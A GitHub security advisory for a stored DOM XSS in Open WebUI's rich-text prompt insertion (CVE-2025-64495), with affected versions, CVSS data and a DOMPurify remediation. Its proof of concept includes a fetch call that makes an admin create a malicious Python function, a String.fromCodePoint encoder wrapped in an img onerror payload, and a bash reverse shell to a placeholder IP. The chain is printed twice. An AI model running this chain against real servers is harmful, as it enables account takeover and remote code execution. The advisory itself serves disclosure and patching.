ghsa-w7xj-8fx7-wfch
Vulnerability from github
Summary
The functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when 'Insert Prompt as Rich Text' is enabled, since the prompt body is assigned to the DOM sink .innerHtml without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding / command to insert the prompt.
Details
The affected line is https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348
```js export const replaceCommandWithText = async (text) => { const { state, dispatch } = editor.view; const { selection } = state; const pos = selection.from;
// Get the plain text of this document
// const docText = state.doc.textBetween(0, state.doc.content.size, '\n', '\n');
// Find the word boundaries at cursor
const { start, end } = getWordBoundsAtPos(state.doc, pos);
let tr = state.tr;
if (insertPromptAsRichText) {
const htmlContent = marked
.parse(text, {
breaks: true,
gfm: true
})
.trim();
// Create a temporary div to parse HTML
const tempDiv = document.createElement('div');
tempDiv.innerHTML = htmlContent; // <---- vulnerable
```
User controlled HTML from the prompt body is assigned to tempDiv.innerHTML without (meaningful) sanitisation. marked.parse introduces some character limitations but does not sanitise the content, as stated in their README.
PoC
Create a custom prompt as follows:
Via settings, ensure 'Insert Prompt as Rich Text' is enabled:
Run the command /poc via a chat window.
Observe the alert is triggered.
RCE
Since admins can naturally run arbitrary Python code on the server via the 'Functions' feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing.
This can be accomplished by making them run the following fetch request:
js
fetch("https://<HOST>/api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('echo RCE')"
})
})
This cannot be done directly because the marked.parse call the HTML is passed through will neutralise payloads containing quotes
To get around this strings must be manually constructed from their decimal values using
String.fromCodePoint. The following Python script automates generating a viable payload from given JavaScript:
```py
payload2 = """
fetch("https:///api/v1/functions/create", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({
id: "pentest_cmd_test",
name: "pentest cmd test",
meta: { description: "pentest cmd test" },
content: "import os;os.system('bash -c \\'/bin/bash -i >& /dev/tcp/x.x.x.x/443 0>&1\\'')"
})
})
""".lstrip().rstrip()
out = ""
for c in payload2: out += f"String.fromCodePoint({ord(c)})+"
print(f"")
```
An admin that triggers the corresponding payload via a prompt command will trigger a Python function to run that runs a reverse shell payload, giving command line access on the server to the attacker.
Impact
Any user running the malicious prompt could have their account compromised via malicious JavaScript that reads their session token from localstorage and exfiltrates it to an attacker controlled server.
Admin users running the malicious prompt risk exposing the backend server to remote code execution (RCE) since malicious JavaScript running via the vulnerability can be used to send requests as the admin user that run malicious Python functions, that may run operating system commands.
Caveats
Low privilege users cannot create prompts by default, the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission is needed, which may be given out via e.g. a custom group. see: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions
A victim user running the command to trigger the prompt needs to have the 'Insert Prompt as Rich Text' setting enabled via preferences for the vulnerability to trigger. The setting is off by default. Users with this setting disabled are unaffected.
Remediation
Sanitise the user controlled HTML with DOMPurify before assigning it to .innerHtml
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.34"
},
"package": {
"ecosystem": "npm",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.35"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.34"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.35"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64495"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-07T15:25:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe functionality that inserts custom prompts into the chat window is vulnerable to DOM XSS when \u0027Insert Prompt as Rich Text\u0027 is enabled, since the prompt body is assigned to the DOM sink `.innerHtml` without sanitisation. Any user with permissions to create prompts can abuse this to plant a payload that could be triggered by other users if they run the corresponding `/` command to insert the prompt.\n\n### Details\nThe affected line is https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348\n\n```js\n\texport const replaceCommandWithText = async (text) =\u003e {\n\t\tconst { state, dispatch } = editor.view;\n\t\tconst { selection } = state;\n\t\tconst pos = selection.from;\n\n\t\t// Get the plain text of this document\n\t\t// const docText = state.doc.textBetween(0, state.doc.content.size, \u0027\\n\u0027, \u0027\\n\u0027);\n\n\t\t// Find the word boundaries at cursor\n\t\tconst { start, end } = getWordBoundsAtPos(state.doc, pos);\n\n\t\tlet tr = state.tr;\n\n\t\tif (insertPromptAsRichText) {\n\t\t\tconst htmlContent = marked\n\t\t\t\t.parse(text, {\n\t\t\t\t\tbreaks: true,\n\t\t\t\t\tgfm: true\n\t\t\t\t})\n\t\t\t\t.trim();\n\n\t\t\t// Create a temporary div to parse HTML\n\t\t\tconst tempDiv = document.createElement(\u0027div\u0027);\n\t\t\ttempDiv.innerHTML = htmlContent; // \u003c---- vulnerable\n```\n\nUser controlled HTML from the prompt body is assigned to `tempDiv.innerHTML` without (meaningful) sanitisation. `marked.parse` introduces some character limitations but does not sanitise the content, as stated in their README.\n\n\u003cimg width=\"1816\" height=\"498\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bd0980fc-ad87-460a-94b8-02bc94bea1a2\" /\u003e\n\n### PoC\nCreate a custom prompt as follows:\n\u003cimg width=\"3006\" height=\"1100\" alt=\"image\" src=\"https://github.com/user-attachments/assets/47de7a11-514d-48f9-8c6a-04ab1894f981\" /\u003e\n\nVia settings, ensure \u0027Insert Prompt as Rich Text\u0027 is enabled:\n\u003cimg width=\"2204\" height=\"1268\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f188065f-7c11-4f09-9ced-4e7d2e6f4d48\" /\u003e\n\nRun the command `/poc` via a chat window.\n\u003cimg width=\"2470\" height=\"1332\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5a112f51-210a-43f3-b999-915b1d0e6744\" /\u003e\n\nObserve the alert is triggered.\n\u003cimg width=\"2452\" height=\"1456\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fa15dbd6-44a7-4cfc-bd93-4cc56aac5eea\" /\u003e\n\n#### RCE\nSince admins can naturally run arbitrary Python code on the server via the \u0027Functions\u0027 feature, this XSS could be used to force any admin that triggers it to run one such of these function with Python code of the attackers choosing. \n\nThis can be accomplished by making them run the following fetch request:\n```js\nfetch(\"https://\u003cHOST\u003e/api/v1/functions/create\", {\n method: \"POST\",\n credentials: \"include\",\n headers: {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\"\n },\n body: JSON.stringify({\n id: \"pentest_cmd_test\",\n name: \"pentest cmd test\",\n meta: { description: \"pentest cmd test\" },\n content: \"import os;os.system(\u0027echo RCE\u0027)\"\n })\n})\n```\nThis cannot be done directly because the `marked.parse` call the HTML is passed through will neutralise payloads containing quotes\n\u003cimg width=\"1718\" height=\"482\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6797efbd-4f2e-4570-ad9f-59a65dba1745\" /\u003e\nTo get around this strings must be manually constructed from their decimal values using `String.fromCodePoint`. The following Python script automates generating a viable payload from given JavaScript:\n```py\npayload2 = \"\"\"\nfetch(\"https://\u003cHOST\u003e/api/v1/functions/create\", {\n method: \"POST\",\n credentials: \"include\",\n headers: {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json\"\n },\n body: JSON.stringify({\n id: \"pentest_cmd_test\",\n name: \"pentest cmd test\",\n meta: { description: \"pentest cmd test\" },\n content: \"import os;os.system(\u0027bash -c \\\\\\\\\u0027/bin/bash -i \u003e\u0026 /dev/tcp/x.x.x.x/443 0\u003e\u00261\\\\\\\\\u0027\u0027)\"\n })\n})\n\"\"\".lstrip().rstrip()\n\nout = \"\"\n\nfor c in payload2:\n out += f\"String.fromCodePoint({ord(c)})+\"\n\nprint(f\"\u003cimg src=x onerror=eval({out[:-1]})\u003e\")\n```\nAn admin that triggers the corresponding payload via a prompt command will trigger a Python function to run that runs a reverse shell payload, giving command line access on the server to the attacker.\n\u003cimg width=\"2476\" height=\"756\" alt=\"image\" src=\"https://github.com/user-attachments/assets/01f9e991-832a-4cfb-8c3e-3b2ce02cff15\" /\u003e\n\n\u003cimg width=\"2492\" height=\"1530\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d08eb48f-a688-41a1-9b52-e91df7ced929\" /\u003e\n\u003cimg width=\"1968\" height=\"916\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2ad6a19e-f151-4ac9-9903-0961e33fe42f\" /\u003e\n\n\n### Impact\nAny user running the malicious prompt could have their account compromised via malicious JavaScript that reads their session token from localstorage and exfiltrates it to an attacker controlled server.\n\nAdmin users running the malicious prompt risk exposing the backend server to remote code execution (RCE) since malicious JavaScript running via the vulnerability can be used to send requests as the admin user that run malicious Python functions, that may run operating system commands.\n\n### Caveats\nLow privilege users cannot create prompts by default, the USER_PERMISSIONS_WORKSPACE_PROMPTS_ACCESS permission is needed, which may be given out via e.g. a custom group. see: https://docs.openwebui.com/features/workspace/prompts/#access-control-and-permissions\n\nA victim user running the command to trigger the prompt needs to have the \u0027Insert Prompt as Rich Text\u0027 setting enabled via preferences for the vulnerability to trigger. The setting is off by default. Users with this setting disabled are unaffected.\n\n### Remediation\nSanitise the user controlled HTML with DOMPurify before assigning it to `.innerHtml`",
"id": "GHSA-w7xj-8fx7-wfch",
"modified": "2025-11-07T15:25:23Z",
"published": "2025-11-07T15:25:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-w7xj-8fx7-wfch"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/commit/eb9c4c0e358c274aea35f21c2856c0a20051e5f1"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/blob/7a83e7dfa367d19f762ec17cac5e4a94ea2bd97d/src/lib/components/common/RichTextInput.svelte#L348"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI vulnerable to Stored DOM XSS via prompts when \u0027Insert Prompt as Rich Text\u0027 is enabled resulting in ATO/RCE"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.